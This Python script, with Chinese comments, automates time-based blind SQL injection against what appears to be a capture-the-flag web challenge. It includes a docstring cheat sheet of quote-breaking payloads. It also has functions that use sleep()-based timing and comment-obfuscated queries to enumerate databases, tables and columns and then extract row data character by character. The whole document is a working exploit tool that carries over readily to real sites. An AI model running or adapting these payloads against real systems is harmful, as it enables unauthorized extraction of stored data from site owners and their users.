import requests
import datetime
import time
"""
k控制着limit
i控制着substr
j控制着所猜字符的ascii
payload :
单引号盲注：
猜数据库长度：
payload = "?id=1' and if(length(database())>%s,sleep(2),0) --+" %i
猜数据库名字：
payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (i,j)
猜表名：
payload = "?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (k, i, j)
猜列名：
payload = "?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (table_name, k, i, j)
爆数据：
payload = "?id=1' and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d, sleep(2),0)--+" % (column,table,k,i,j)
双引号盲注：
猜数据库长度：
payload = '?id=1" and if(length(database())>%s,sleep(2),0) --+' %i
猜数据库名字：
payload = '?id=1" and if(substr(database(),%d,1)="%s",sleep(3),1) --+' % (i,j)
猜表名：
payload = '?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+' % (k, i, j)
猜列名：
payload = '?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name="%s" and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+' % (table_name, k, i, j)
爆数据：
payload = '?id=1" and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d, sleep(2),0)--+' % (column,table,k,i,j)
"""
url = 'http://ctf.miaoaixuan.cn:33110'
def all_databases():
db_count = 0
print("Determining number of databases...")
for count in range(1, 20):
payload = "?id=1'/**/and/**/if((select/**/count(schema_name)/**/from/**/information_schema.schemata)>%d,sleep(2),0)%%23" % (
count - 1)
time1 = datetime.datetime.now()
try:
r = requests.get(url + payload, timeout=3)
except requests.exceptions.Timeout:
continue
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
print(f"Database count > {count - 1}")
else:
db_count = count - 1
print(f"Total databases: {db_count}")
break
if db_count == 0:
print("Failed to determine database count, using default value 5")
db_count = 5
databases = []
print("\nExtracting database names...")
for db_index in range(db_count):
db_name = ''
name_len = 0
for length in range(1, 50):
payload = "?id=1'/**/and/**/if(length((select/**/schema_name/**/from/**/information_schema.schemata/**/limit/**/%d,1))>%d,sleep(2),0)%%23" % (
db_index, length - 1)
time1 = datetime.datetime.now()
try:
r = requests.get(url + payload, timeout=3)
except requests.exceptions.Timeout:
continue
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
print(f"Database {db_index} length > {length - 1}")
else:
name_len = length - 1
print(f"Database {db_index} length: {name_len}")
break
if name_len > 0:
for pos in range(1, name_len + 1):
found = False
for char_code in range(32, 127):
payload = "?id=1'/**/and/**/if(ascii(substr((select/**/schema_name/**/from/**/information_schema.schemata/**/limit/**/%d,1),%d,1))=%d,sleep(2),0)%%23" % (
db_index, pos, char_code)
time1 = datetime.datetime.now()
try:
r = requests.get(url + payload, timeout=3)
except requests.exceptions.Timeout:
db_name += chr(char_code)
print(f"Database {db_index}: {db_name}")
found = True
break
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
db_name += chr(char_code)
print(f"Database {db_index}: {db_name}")
found = True
break
if not found:
break
if db_name:
databases.append(db_name)
print(f"Found database: {db_name}")
print("\nAll databases:")
for idx, db in enumerate(databases):
print(f"{idx + 1}. {db}")
return databases
def database_len():
for i in range(1, 15):
payload = "?id=1'/**/and/**/if(length(database())>%s,sleep(2),0)%%23" % i
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
print(i)
else:
print(i)
break
print('database_len:', i)
return i
def database_name(len):
name = ''
for i in range(1, len + 1):
for j in '0123456789abcdefghijklmnopqrstuvwxyz':
payload = "?id=1'/**/and/**/if(substr(database(),%d,1)='%s',sleep(3),1)%%23" % (i, j)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 3:
name += j
print(name)
break
print('database_name:', name)
def table_name(database):
"""
获取指定数据库中的所有表名
:param database: 数据库名称，如果为None则使用当前数据库
:return: 表名列表
"""
table_count = 0
condition = "table_schema=database()" if database is None else f"table_schema='{database}'"
print(f"Determining number of tables in database: {database or 'current'}...")
for count in range(1, 50):
payload = f"?id=1'/**/and/**/if((select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/{condition})>{count - 1},sleep(2),0)%%23"
time1 = datetime.datetime.now()
try:
r = requests.get(url + payload, timeout=3)
except requests.exceptions.Timeout:
continue
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
print(f"Table count > {count - 1}")
else:
table_count = count - 1
print(f"Total tables: {table_count}")
break
if table_count == 0:
print("Failed to determine table count, using default value 10")
table_count = 10
tables = []
print("\nExtracting table names...")
for table_index in range(table_count):
tbl_name = ''
name_len = 0
for length in range(1, 50):
payload = f"?id=1'/**/and/**/if(length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/{condition}/**/limit/**/{table_index},1))>{length - 1},sleep(2),0)%%23"
time1 = datetime.datetime.now()
try:
r = requests.get(url + payload, timeout=3)
except requests.exceptions.Timeout:
continue
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
print(f"Table {table_index} length > {length - 1}")
else:
name_len = length - 1
print(f"Table {table_index} length: {name_len}")
break
if name_len > 0:
for pos in range(1, name_len + 1):
found = False
for char_code in range(32, 127):
payload = f"?id=1'/**/and/**/if(ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/{condition}/**/limit/**/{table_index},1),{pos},1))={char_code},sleep(2),0)%%23"
time1 = datetime.datetime.now()
try:
r = requests.get(url + payload, timeout=3)
except requests.exceptions.Timeout:
tbl_name += chr(char_code)
print(f"Table {table_index}: {tbl_name}")
found = True
break
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
tbl_name += chr(char_code)
print(f"Table {table_index}: {tbl_name}")
found = True
break
if not found:
break
if tbl_name:
tables.append(tbl_name)
print(f"Found table: {tbl_name}")
print("\nAll tables in database", database or "current")
for idx, tbl in enumerate(tables):
print(f"{idx + 1}. {tbl}")
return tables
def colum_name(table_name):
results = []
for k in range(6):
column_name = ''
for i in range(1, 30):
found = False
for j in range(32, 127):
payload = "?id=1'/**/and/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/and/**/table_schema='security'/**/limit/**/%d,1),%d,1))=%d,/**/sleep(3),0)%%23" % (
table_name, k, i, j)
time1 = datetime.datetime.now()
try:
r = requests.get(url + payload, timeout=5)
except requests.exceptions.Timeout:
column_name += chr(j)
print(f"Found char: {chr(j)} at position {i} for column {k}")
found = True
break
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 3:
column_name += chr(j)
print(f"Found char: {chr(j)} at position {i} for column {k}")
found = True
break
if not found:
break
if column_name:
results.append(column_name)
print(f"Column {k}: {column_name}")
print("\nAll columns in table", table_name)
for idx, col in enumerate(results):
print(f"{idx}: {col}")
return results
def data(column, table):
"""
获取指定表的列数据（带双重验证）
:param column: 列名
:param table: 表名
:return: 数据字符串
"""
results = []
for k in range(6):
record = ''
for i in range(1, 20):
candidates = []
verified_char = None
for j in range(32, 127):
payload = "?id=1'/**/and/**/if(ascii(substr((select/**/%s/**/from/**/%s/**/limit/**/%d,1),%d,1))=%d,/**/sleep(2),0)%%23" % (
column, table, k, i, j)
time1 = datetime.datetime.now()
try:
r = requests.get(url + payload, timeout=5)
except requests.exceptions.Timeout:
candidates.append(j)
continue
time2 = datetime.datetime.now()
sec = (time2 - time1).total_seconds()
if sec >= 1.5:
candidates.append(j)
if not candidates:
print(f"⚠️ 位置 {i} 没有候选字符")
break
found_char = False
for candidate in candidates:
verify_payload = "?id=1'/**/and/**/if(ascii(substr((select/**/%s/**/from/**/%s/**/limit/**/%d,1),%d,1))=%d,/**/sleep(2),0)%%23" % (
column, table, k, i, candidate)
time1 = datetime.datetime.now()
try:
r = requests.get(url + verify_payload, timeout=5)
except requests.exceptions.Timeout:
verified_char = candidate
found_char = True
break
time2 = datetime.datetime.now()
if (time2 - time1).total_seconds() >= 1.5:
verified_char = candidate
found_char = True
break
if not found_char:
print(f"⚠️ 位置 {i} 验证失败，候选字符: {[chr(c) for c in candidates]}")
break
record += chr(verified_char)
print(f"✅ 找到字符: {chr(verified_char)} 位置 {i} 记录 {k}")
if record:
verify_full_payload = "?id=1'/**/and/**/if('%s'=(select/**/%s/**/from/**/%s/**/limit/**/%d,1),/**/sleep(3),0)%%23" % (
record, column, table, k)
time1 = datetime.datetime.now()
try:
r = requests.get(url + verify_full_payload, timeout=6)
time2 = datetime.datetime.now()
if (time2 - time1).total_seconds() < 2.5:
print(f"⚠️ 记录验证失败: {record}")
continue
except requests.exceptions.Timeout:
pass
results.append(record)
print(f"✅✅ 记录 {k} 验证通过: {record}")
else:
print(f"❌ 未找到记录: 位置 {k}")
all_data = "\n".join(results)
print("\n验证通过的数据:")
print(all_data)
return all_data
if __name__ == '__main__':
data('id', 'flag')
|
